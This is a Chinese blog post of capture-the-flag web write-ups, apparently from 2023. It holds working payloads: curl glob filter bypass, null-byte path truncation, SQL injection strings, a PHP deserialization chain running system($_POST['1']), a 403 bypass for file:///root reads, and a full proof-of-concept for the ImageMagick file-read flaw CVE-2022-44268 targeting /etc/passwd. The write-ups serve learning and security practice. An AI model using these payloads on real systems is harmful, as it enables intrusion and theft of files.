一些赛题的复现

跟小伙伴们打了些比赛,闲着没事就复现一下吧

ASISCTF

hello

一开始是考察的curl的用法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
/*
Read /next.txt
Hint for beginners: read curl's manpage.
*/
highlight_file(__FILE__);
$url = 'file:///hi.txt';
if(
array_key_exists('x', $_GET) &&
!str_contains(strtolower($_GET['x']),'file') &&
!str_contains(strtolower($_GET['x']),'next')
){
$url = $_GET['x'];
}
system('curl '.escapeshellarg($url));

curl命令支持通配,可以使用通配来绕过file和next的检查

如何用file协议读就好了

payload:

1
/?x=fil[e-e]:///ne[x-x]t.txt

之后给了我们一个地址,访问一下,有这样一句话

1
did you know i can read files?? amazing right,,, maybe try /39c8e9953fe8ea40ff1c59876e0e2f28/read/?file=/proc/self/cmdline

那我们就照着他的意思读一下进程,里面有 base64 加密的密文,解码后得到这样的进程 /bin/bun-1.0.2/app/index.js

之后就拿到源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
const fs = require('node:fs');
const path = require('path')

/*
I wonder what is inside /next.txt
*/

const secret = '39c8e9953fe8ea40ff1c59876e0e2f28'
const server = Bun.serve({
port: 8000,
fetch(req) {
let url = new URL(req.url);
let pname = url.pathname;
if(pname.startsWith(`/${secret}`)){
if(pname.startsWith(`/${secret}/read`)){
try{
let fpath = url.searchParams.get('file');
if(path.basename(fpath).indexOf('next') == -1){
return new Response(fs.readFileSync(fpath).toString('base64'));
} else {
return new Response('no way');
}
} catch(e){ }
return new Response("Couldn't read your file :(");
}
return new Response(`did you know i can read files?? amazing right,,, maybe try /${secret}/read/?file=/proc/self/cmdline`);
}
return
}
});

path.basename():这个函数会将传入的路径分割,将最后一个 / 后面的内容作为返回值

index.of():也是相当于匹配字符串,如果没有就返回 - 1

fs.readFileSync(fpath).toString('base64'):将读取到的文件用 base64 编码输出

我们猜测 flag 应该就在 next.txt 文件里面,但是如何绕过呢?

既然 basename () 以最后一个 / 后面的内容作为返回值,我们不妨构造?file=/next.txt/1,这样返回的数据文件就是 1,成功绕过了 if 条件,但是另一个问题来了,/next.txt/1 这个文件肯定是不存在的,我们要想办法把 / 1 截断,

这里用文件读取中的 %00 截断就可以了

payload :

1
?file=/next.txt%00/1

BRICSCTF

ChadGPT

直接把全部源码给出来了,go语言写的代码,考察sql注入

在main.go找到sql查询语句

1
rows, err := db.QueryContext(ctx, `SELECT reply FROM replies WHERE LOWER(prompt) LIKE '%`+strings.ToLower(q.Q)+`%' LIMIT 1`)

限制传入的sql语句在waf.go

1
2
3
4
5
func sqlSafe(s string) string {
s = strings.ReplaceAll(s, "'", "''")
s = strings.ReplaceAll(s, "\"", "\"\"")
return s
}
  • s = strings.ReplaceAll(s, "'", "''"):这一行代码用来替换输入字符串中的单引号 ' 为两个单引号 ''。这是为了防止 SQL 注入攻击,因为在 SQL 查询中,单引号是用来包围字符串值的,如果不处理单引号,攻击者可能会通过在输入中插入恶意的 SQL 代码来破坏查询。
  • s = strings.ReplaceAll(s, "\"", "\"\""):这一行代码用来替换输入字符串中的双引号 " 为两个双引号 ""。这里的\就是把"解析成字符串类型的,不然代码会报错

一般的查询语句' union select 1#经过 sqlSafe函数后就变为了'' union select 1#

我们只要用\把前面一个'给注释掉,让他被解析为一个字符串,就还是可以构成出正确的查询语句了

1
\' union select flag from flags#

GigaChadGPT

就waf文件不同

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
func isStringSafe(s string) bool {
alpha := "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789 \t\n\r"
for _, c := range s {
if !strings.ContainsRune(alpha, c) {
return false
}
}
return true
}

func isSafeJson(j any) bool {
switch v := j.(type) {
case string:
return isStringSafe(v)
case []any:
out := true
for _, lv := range v {
out = isSafeJson(lv) && out
}
return out
case map[string]any:
out := true
for _, mv := range v {
out = isSafeJson(mv) && out
}
return out
}
return true
}

func trySanitizeJson(r *http.Request) bool {
var j any
var buf bytes.Buffer
tee := io.TeeReader(r.Body, &buf)
defer func() {
r.Body.Close()
r.Body = io.NopCloser(&buf)
}()
if err := json.NewDecoder(tee).Decode(&j); err != nil {
return true
}

return isSafeJson(j)
}

这里限制只允许字母和数字,但是又给了我们 \r\n\t,感觉有点问题

后面发现可以利用这个绕过,让它不去调用 waf 这个函数(本质上是代码的逻辑)

我们看看 main.go 里面的这一行代码

1
safe := trySanitizeJson(request)

在代码逻辑中,我们传入的参数,只有经过 trySanitizeJson 这个函数才会被 waf 检测,这个函数是用来 json 解码的,他有一个逻辑上的问题,如果我们 json 解码失败,他就会直接返回 true

1
2
3
if err := json.NewDecoder(tee).Decode(&j); err != nil {
return true
}

怎样会导致 json 解码失败呢,那我们尝试利用\r\n\t 来构造

为什么 \r\t\n 回到是 json 解码失败呢,这是因为 \n 导致了 json 格式不正确,json 格式不正确就会解码失败

最终payload:

1
2
3
4
{
"q":"
//' union select flag from flags#"
}

2023香山杯

PHP_unserialize_pro

反序列化链倒是不难,难的是绕过字符的检测preg_match('/f|l|a|g|\*|\?/i', $cmd

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
<?php
error_reporting(0);
class Welcome{
public $name = "A_G00d_H4ck3r";
public $arg = 'welcome';
public function __construct(){
$this->name = 'A_G00d_H4ck3r';
}
public function __destruct(){
if($this->name == 'A_G00d_H4ck3r'){
echo $this->arg;
}
}
}

class G00d{
public $shell="assert";
public $cmd ="system(\$_POST['1'])";
public function __invoke(){
$shell = $this->shell;
$cmd = $this->cmd;
if(preg_match('/f|l|a|g|\*|\?/i', $cmd)){
die("U R A BAD GUY");
}
eval($shell($cmd));
}
}

class H4ck3r{
public $func;
public function __toString(){
$function = $this->func;
$function();
}
}

$a = new Welcome();
$b = new H4ck3r();
$c = new G00d();
$a->arg = $b;
$b->func = $c;
echo serialize($a);
echo urlencode(serialize($a));
?>
// O:7:"Welcome":2:{s:4:"name";s:13:"A_G00d_H4ck3r";s:3:"arg";O:6:"H4ck3r":1:{s:4:"func";O:4:"G00d":2:{s:5:"shell";s:6:"assert";s:3:"cmd";s:19:"system($_POST['1'])";}}}

注意:需要再传一个system来解析里面变量

meow_blog

环境关了,不想本地打了

nodejs的AST注入,可以看https://xz.aliyun.com/t/10218#toc-0

sharedBox

题目是一个开源的项目,而且有任意文件读取漏洞

但是直接访问/fileview/getCorsFile?urlPath=file:///root来任意文件读取会403

可以通过/;/来绕过403

1
/fileview/;/getCorsFile?urlPath=file:///root

环境关了,不想本地打了,直接附上大佬的wp链接吧:2023 香山杯 WP

TUCTF

PHP Practice

文件包含,可以用file协议,各种proc都没读到线索

1
file:///var/www/html/.htaccess

够阴间的

1
file:///var/www/html/gcfYAvzsbyxV.txt

PNG and Jelly Sandwich

打这个CVE-2022-44268

poc:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
#!/usr/bin/env python3
import sys
import png
import zlib
import argparse
import binascii
import logging

logging.basicConfig(stream=sys.stderr, level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')
d = zlib.decompressobj()
e = zlib.compressobj()
IHDR = b'\x00\x00\x00\n\x00\x00\x00\n\x08\x02\x00\x00\x00'
IDAT = b'x\x9c\xbd\xcc\xa1\x11\xc0 \x0cF\xe1\xb4\x03D\x91\x8b`\xffm\x98\x010\x89\x01\xc5\x00\xfc\xb8\n\x8eV\xf6\xd9' \
b'\xef\xee])%z\xef\xfe\xb0\x9f\xb8\xf7^J!\xa2Zkkm\xe7\x10\x02\x80\x9c\xf3\x9cSD\x0esU\x1dc\xa8\xeaa\x0e\xc0' \
b'\xccb\x8cf\x06`gwgf\x11afw\x7fx\x01^K+F'


def parse_data(data: bytes) -> str:
_, data = data.strip().split(b'\n', 1)
print("---------------------------------------------")
data = data.replace(b'\n', b'').strip()
print(data)
f = open('flag123.txt', "wb")
f.write(data)
f.close()
return binascii.unhexlify(data).decode()


def read(filename: str):
if not filename:
logging.error('you must specify a input filename')
return

res = ''
p = png.Reader(filename=filename)
for k, v in p.chunks():
logging.info("chunk %s found, value = %r", k.decode(), v)
if k == b'zTXt':
name, data = v.split(b'\x00', 1)
res = parse_data(d.decompress(data[1:]))

if res:
sys.stdout.write(res)
sys.stdout.flush()


def write(from_filename, to_filename, read_filename):
if not to_filename:
logging.error('you must specify a output filename')
return

with open(to_filename, 'wb') as f:
f.write(png.signature)
if from_filename:
p = png.Reader(filename=from_filename)
for k, v in p.chunks():
if k != b'IEND':
png.write_chunk(f, k, v)
else:
png.write_chunk(f, b'IHDR', IHDR)
png.write_chunk(f, b'IDAT', IDAT)

png.write_chunk(f, b"tEXt", b"profile\x00" + read_filename.encode())
png.write_chunk(f, b'IEND', b'')


def main():
parser = argparse.ArgumentParser(description='POC for CVE-2022-44268')
parser.add_argument('action', type=str, choices=('generate', 'parse'))
parser.add_argument('-i', '--input', type=str, help='input filename')
parser.add_argument('-o', '--output', type=str, help='output filename')
parser.add_argument('-r', '--read', type=str, help='target file to read', default='/etc/passwd')
args = parser.parse_args()
if args.action == 'generate':
write(args.input, args.output, args.read)
elif args.action == 'parse':
read(args.input)
else:
logging.error("bad action")


if __name__ == '__main__':
main()

读源码

1
python poc.py generate -i input.png -o poc.png -r /proc/self/cwd/app.py
1
python poc.py parse -i output.png 

在flag123.txt查看,hex转字符得到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, render_template, request, send_file, flash, redirect, url_for, send_from_directory
import os
from werkzeug.utils import secure_filename
# import uuid
from datetime import datetime

app = Flask(__name__)

UPLOAD_FOLDER = './uploads'
ALLOWED_EXTENSIONS = {'png'}
MAX_FILE_SIZE = 5 * 1024 * 1024 # 5 MB
MAX_UPLOADS = 250

app.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER
app.config['MAX_CONTENT_LENGTH'] = MAX_FILE_SIZE
app.config['MAX_UPLOADS'] = MAX_UPLOADS
app.secret_key = 'super_secret_key' # Needed for flashing messages

def allowed_file(filename):
return '.' in filename and filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS

@app.route("/", methods=["GET", "POST"])
def index():
if request.method == "POST" and "file" in request.files:
file = request.files["file"]
filetype = file.mimetype.split("/")[-1]

if file and allowed_file(file.filename):
# Check file size on the server side
if len(file.read()) > MAX_FILE_SIZE:
flash("File size exceeds the maximum allowed.", 'error')
return redirect(request.url)

# Reset file pointer after reading
file.seek(0)

# Clean uploads directory if needed
if len(os.listdir(app.config['UPLOAD_FOLDER'])) > app.config['MAX_UPLOADS']:
os.system("rm uploads/IM-17*")

# Save the uploaded file
filename = secure_filename( f"IM-{ str(datetime.utcnow().timestamp()).ljust(17, '0') }.{filetype}" )
file_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
file.save(file_path)

# Process the image with the external ImageMagick binary
os.system(f'./magick convert {file_path} -set exif:UnixTimestamp "{filename.replace("IM-", "").rsplit(".", 1)[0]}" -set exif:RemoteFilepath "{os.path.join(os.getcwd(), file_path)}" -resize 400%x50%! {file_path}')

# Pass the filenames to the template for display
return render_template("index.html", original=filename, modified=filename)

return render_template("index.html", original=None, modified=None)

@app.route('/uploads/<filename>')
def uploaded_file(filename):
filename = filename.replace("IM-1699795428.000000", "IM-1699795427.000000") # don't display the flag publicly
return send_from_directory(app.config['UPLOAD_FOLDER'], filename)

if __name__ == "__main__":
app.run(debug=False, port=8000, host="0.0.0.0")

flag应该就在IM-1699795428.000000

1
python poc.py generate -i input.png -o poc.png -r ./uploads/IM-1699795428.000000.png
1
python poc.py parse -i output.png 

把那个16进制贴进101,改成png,得到flag


一些赛题的复现
https://www.supersmallblack.cn/一些赛题的复现.html
作者
Small Black
发布于
2023年10月24日
许可协议